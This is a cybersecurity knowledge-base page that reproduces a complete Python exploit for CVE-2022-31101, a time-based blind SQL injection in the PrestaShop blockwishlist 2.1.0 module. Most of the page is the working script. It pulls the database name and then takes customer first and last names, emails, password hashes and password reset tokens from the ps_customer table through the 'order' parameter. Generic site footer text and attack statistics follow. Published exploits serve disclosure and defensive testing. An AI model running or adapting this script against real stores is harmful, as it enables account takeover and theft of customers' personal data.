An SQL Injection vulnerability was discovered in Prestashop Blockwishlist module by security researcher Karthik UJ.
# Exploit Title: Prestashop blockwishlist module 2.1.0 - SQLi
# Exploit Author: Karthik UJ (@5up3r541y4n)
# Vendor Homepage: https://www.prestashop.com/en
# Software Link (blockwishlist): https://github.com/PrestaShop/blockwishlist/releases/tag/v2.1.0
# Software Link (prestashop): https://hub.docker.com/r/prestashop/prestashop/
# Version (blockwishlist): 2.1.0
# Version (prestashop): 1.7.8.1
# Tested on: Linux
# CVE: CVE-2022-31101
# This exploit assumes that the website uses 'ps_' as prefix for the table names since it is the default prefix given by PrestaShop
import requests
url = input("Enter the url of wishlist's endpoint (http://website.com/module/blockwishlist/view?id_wishlist=1): ") # Example: http://website.com/module/blockwishlist/view?id_wishlist=1
cookie = input("Enter cookie value:\n")
header = {
"Cookie": cookie
}
# Define static stuff
param = "&order="
staticStart = "p.name, (select case when ("
staticEnd = ") then (SELECT SLEEP(7)) else 1 end); -- .asc"
charset = 'abcdefghijklmnopqrstuvwxyz1234567890_-@!#$%&\'*+/=?^`{|}~'
charset = list(charset)
emailCharset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-@!#$%&\'*+/=?^`{|}~.'
emailCharset = list(emailCharset)
# Query current database name length
print("\nFinding db name's length:")
for length in range(1, 65):
condition = "LENGTH(database())=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
dbLength=length
print("Length: ", length, end='')
print("\n")
break
print("Enumerating current database name:")
databaseName = ''
for i in range(1, dbLength+1):
for char in charset:
condition = "(SUBSTRING(database()," + str(i) + ",1)='" + char + "')"
fullUrl = url + param + staticStart + condition + staticEnd
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
print(char, end='')
databaseName += char
break
print()
# Enumerate any table
prefix = "ps_"
tableName = prefix + "customer"
staticStart = "p.name, (select case when ("
staticEnd1 = ") then (SELECT SLEEP(7)) else 1 end from " + tableName + " where id_customer="
staticEnd2 = "); -- .asc"
print("\nEnumerating " + tableName + " table")
for id in range(1, 10):
condition = "id_customer=" + str(id)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
print("\nOnly " + str(id - 1) + " records found. Exiting...")
break
except requests.exceptions.Timeout:
pass
print("\nid = " + str(id))
# Finding firstname length
for length in range(0, 100):
condition = "LENGTH(firstname)=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
firstnameLength=length
print("Firstname length: ", length, end='')
print()
break
# Enumerate firstname
firstname = ''
print("Firstname: ", end='')
for i in range(1, length+1):
for char in charset:
condition = "SUBSTRING(firstname," + str(i) + ",1)='" + char + "'"
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
print(char, end='')
firstname += char
break
print()
# Finding lastname length
for length in range(1, 100):
condition = "LENGTH(lastname)=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
lastnameLength=length
print("Lastname length: ", length, end='')
print()
break
# Enumerate lastname
lastname = ''
print("Lastname: ", end='')
for i in range(1, length+1):
for char in charset:
condition = "SUBSTRING(lastname," + str(i) + ",1)='" + char + "'"
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
print(char, end='')
firstname += char
break
print()
# Finding email length
for length in range(1, 320):
condition = "LENGTH(email)=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
emailLength=length
print("Email length: ", length, end='')
print()
break
# Enumerate email
email = ''
print("Email: ", end='')
for i in range(1, length+1):
for char in emailCharset:
condition = "SUBSTRING(email," + str(i) + ",1)= BINARY '" + char + "'"
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
if req.status_code == 500 and char == '.':
print(char, end='')
email += char
except requests.exceptions.Timeout:
print(char, end='')
email += char
break
print()
# Finding password hash length
for length in range(1, 500):
condition = "LENGTH(passwd)=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
passwordHashLength=length
print("Password hash length: ", length, end='')
print()
break
# Enumerate password hash
passwordHash = ''
print("Password hash: ", end='')
for i in range(1, length+1):
for char in emailCharset:
condition = "SUBSTRING(passwd," + str(i) + ",1)= BINARY '" + char + "'"
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
if req.status_code == 500 and char == '.':
print(char, end='')
passwordHash += char
except requests.exceptions.Timeout:
print(char, end='')
passwordHash += char
break
print()
# Finding password reset token length
for length in range(0, 500):
condition = "LENGTH(reset_password_token)=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
passwordResetTokenLength=length
print("Password reset token length: ", length, end='')
print()
break
# Enumerate password reset token
passwordResetToken = ''
print("Password reset token: ", end='')
for i in range(1, length+1):
for char in emailCharset:
condition = "SUBSTRING(reset_password_token," + str(i) + ",1)= BINARY '" + char + "'"
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
if req.status_code == 500 and char == '.':
print(char, end='')
passwordResetToken += char
except requests.exceptions.Timeout:
print(char, end='')
passwordResetToken += char
break
print()
Suggest an edit to this article
Go to Cybersecurity Knowledge Base
Got to the Latest Cybersecurity News
Stay informed of the latest Cybersecurity trends, threats and developments. Sign up for our Weekly Cybersecurity Newsletter Today.
Remember, CyberSecurity Starts With You!
- Globally, 30,000 websites are hacked daily.
- 64% of companies worldwide have experienced at least one form of a cyber attack.
- There were 20M breached records in March 2021.
- In 2020, ransomware cases grew by 150%.
- Email is responsible for around 94% of all malware.
- Every 39 seconds, there is a new attack somewhere on the web.
- An average of around 24,000 malicious mobile apps are blocked daily on the internet.